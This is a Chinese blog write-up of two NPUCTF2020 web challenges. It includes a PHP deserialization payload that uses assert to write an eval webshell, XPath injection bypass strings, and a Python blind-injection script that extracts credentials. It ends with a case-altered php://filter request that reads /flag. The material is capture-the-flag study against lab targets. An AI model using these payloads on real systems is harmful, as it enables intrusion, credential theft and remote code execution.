avatar

目录
Ha1cyonCTF2020-公开赛

复现学习,还是学习到很多东西的

[NPUCTF2020] ReadlezPHP

F12 源码看到 /time.php?source
简单的链子,序列化对象 assert 传马

php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
#error_reporting(0);
class HelloPhp {
public $a;
public $b;
public function __construct() {
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct() {
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;

if(isset($_GET['source'])) {
highlight_file(__FILE__);
die(0);
}

$h = new HelloPhp;
$h->a = 'file_put_contents("yakko.php", "<?php eval(\$_REQUEST[\'cmd\']); ?>")';
$h->b = "assert";
//eval($h->a);
echo urlencode(serialize($h));
@$ppp = unserialize(serialize($h));

Payload:
time.php?O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A67%3A%22file_put_contents%28%22yakko.php%22%2C+%22%3C%3Fphp+eval%28%5C%24_REQUEST%5B%27cmd%27%5D%29%3B+%3F%3E%22%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D

然后蚁剑 绕过 disable_fuction, Payload echo $FLAG


[NPUCTF2020] ezlogin

https://www.cnblogs.com/W4nder/p/12747742.html
https://shimo.im/docs/6hyIjGkLoRc43JRs/read

登陆页面如下

查看源码,在 static/main.js 发现关键点

php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
var token = $("#token").val();
if(username == "" || password == ""){
$(".msg").text("用户名和密码不能为空!");
return;
}

var data = "<username>"+username+"</username>"+"<password>"+password+"</password>"+"<token>"+token+"</token>";
$.ajax({
type: "POST",
url: "login.php",
contentType: "application/xml",
data: data,
anysc: false,
success: function (result, status, xhr) {
if(result == '成功'){
window.location.href = 'admin.php';
}
$(".msg").text(result);

},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

看到熟悉的xml,一开始以为是XXE,(然后站被日了 = =
后来复现的时候,知道是 Xpath注入

注入与绕过

sql
1
2
3
4
5
6
7
8
9
10
$query = "/root/accounts/user[username/text()='".$name."' and password/text()='".$pwd."']";

1.万能密码,这点和SQL很像;在知道用户名的情况:
?name=admin' or '1'='1&pwd=fake

在不知道用户名的情况,使用两个or绕过:
?name=fake' or '1'or'1&pwd=fake

2.使用|操作符,
?name=1']|//*|ss['&pwd=fake

其执行的语句为:

sql
1
/root/accounts/user[username/text()='1' ]|//*|ss['' and password/text()='1']

即先闭合前面的语句,之后列出文档所有元素

sql
1
2
3.盲注,需要一级一级猜解节点;猜解第一级节点:
?name=1' or substring(name(/*[position()=1]),1,1)='r' or '1'='1&pwd=fake

然后是注入

sql
1
2
3
4
5
6
7
8
猜解第二级节点数量:
?name=1' or count(/root/*)=2 or '1'='1&fake

猜解第二级节点:
?name=1' or substring(name(/root/*[position()=1]),1,1)='u' or '1'='1&pwd=fake

猜解id为1的user节点下的username值:
?name=1' or substring(/root/users/user[id=1]/username,1,1)='a' or '1'='1&pwd=fake

大佬的exp

python
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
import re

url='http://buuoj-test.cn/'
sess=requests.session()
def token():
req=sess.get(url)
tok=re.findall('<input type="hidden" id="token" value="(.*)" />',req.text)
return tok[0]

def login(username,password):
data='''
<username>{}</username><password>{}</password><token>{}</token>
'''.format(username,password,token())

req=sess.post(url+'login.php',data=data,headers = {'Content-Type': 'application/xml'})
print(req.text,req.status_code)
return req


# root
payload="' or substring(name(/*[position()=1]),{},1)='{}' or '1' = '1"
ro='root'

payload="' or substring(name(/root/*[position()=1]),{},1)='{}' or '1' = '1"
ro='accounts'

payload="' or substring(name(/root/accounts/*[position()=1]),{},1)='{}' or '1' = '1"
ro='user'

payload="' or substring(name(/root/accounts/user/*[position()=2]),{},1)='{}' or '1' = '1"
# id username password
ro=''


payload="1' or substring(/root/accounts/user[id=2]/username,{},1)='{}' or '1'='1"
# guest adm1n
ro=''

payload="1' or substring(/root/accounts/user[id=2]/password,{},1)='{}' or '1'='1"
#cf7414b5bdb2e65ee43083f4ddbc4d9f gtfly123
ro=''

import string
for i in range(1,100):
for j in string.digits+string.ascii_letters+'*':
if j=='*':
print('***************false')
break
tmp=payload.format(i,j)

req=login(tmp,'ad')
if '非法操作' in req.text:
ro+=j
print(ro)
break

得到 adm1n cf7414b5bdb2e65ee43083f4ddbc4d9f
md5解密 gtfly123

登陆成功后,看到URL为 admin.php?file=welcome
查看源码,看到有 base64 加密后的 flag is in /flag
说明还考查文件包含,用伪协议打,测了一下,大概有几个过滤 php read base64
也还是简单,大小写绕过

/admin.php?file=Php://filter/Read=convert.Base64-encode/resource=/flag


后面的一些题目先摸了,有空再来看了

文章作者: 晓黑
文章链接: https://www.suk1.top/2020/04/18/NPUCTF2020/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Manayakko - 微笑才是王道
打赏
  • 微信
    微信